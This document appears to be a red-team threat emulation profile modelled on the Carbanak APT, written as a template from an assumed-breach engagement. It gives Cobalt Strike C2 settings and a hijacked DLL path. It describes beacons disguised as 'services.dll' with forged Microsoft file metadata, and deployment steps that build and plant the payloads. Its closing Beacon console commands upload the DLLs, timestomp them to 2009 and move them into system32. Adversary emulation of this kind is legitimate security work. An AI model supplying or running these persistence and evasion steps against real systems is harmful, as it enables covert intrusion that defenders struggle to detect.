Threat Profile: AUTOBANK

AUTOBANK threat profile example

Threat Profile (AUTOBANK)

A modified version of this profile was used on an assumed breach engagement. This profile is provide as an example to show details that supported a real engagement.

Description

C2 threat inspired by the Carbanak APT malware. It uses DNS and HTTP for C2 communications.

Reference: http://krebsonsecurity.com/wp-content/uploads/2015/02/Carbanak_APT_eng.pdf

Characteristics

  • C2 Backend: CobaltStrike 3
  • Port(s): 53, 445, 80 (DNS, SMB, HTTP)
  • C2 communication using DNS, HTTPS and SMB Traffic
  • IP communication using DNS hostnames

Cobalt Strike HTTP Request Profile:

  • UserAgent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/6.0)”
  • GET: /favicon
  • POST /token

System Modifications

Files

HTTPS PAYLOAD:

  • Hijacked DLL: c:\windows\system32\wlbsctrl.dll
  • HTTPS Beacon: c:\windows\system32\services.dll
  • SMB Beacon: c:\windows\system32\services.dll

*NOTE: using the same dll name for each beacon type.

Binary modified using a resource hacker to look similar to other Windows files

  • File Description: Services
  • File Version: 6.1.7601.17514
  • Product Name: Internet Explorer
  • Product Version: 6.1.7601.17514
  • Copyright: © Microsoft Corporation. All rights reserved
  • Date Modified: 7/13/2009 08:41:22 PM

Registry

  • None

Window Service

  • None

WMI

  • None

Deployment Steps

  1. Create CobaltStrike C2 Profile
  2. Build payloads using profile
  3. build 32 bit DLL files - named services.dll
  4. Use a Resource Hacker utility to modify binaries to match File Attributes
  5. Deploy dlls to target system
  6. Verify time matches surrounding files (TimeStomp if needed)

Persistence Steps (via CobaltStrike Beacon Console)

cd c:\windows\temp
upload /data/5-PAYLOADS/wlbsctrl.dll
upload /data/5-PAYLOADS/services1.dll (DNS Beacon)
upload /data/5-PAYLOADS/services2.dll (SMB Beacon)

shell mv services(1/2).dll services.dll

powershell-import /data/PAYLOADS/Set-FileTimeStamps.ps1
powershell Set-FileTimeStamps c:\windows\temp\wlbsctrl.dll "7/13/2009 08:41:22 PM"
powershell Set-FileTimeStamps c:\windows\temp\services.dll "7/13/2009 08:41:22 PM"

shell move c:\windows\temp\wlbsctrl.dll c:\windows\system32
shell move c:\windows\temp\services.dll c:\windows\system32

Last modified January 21, 2020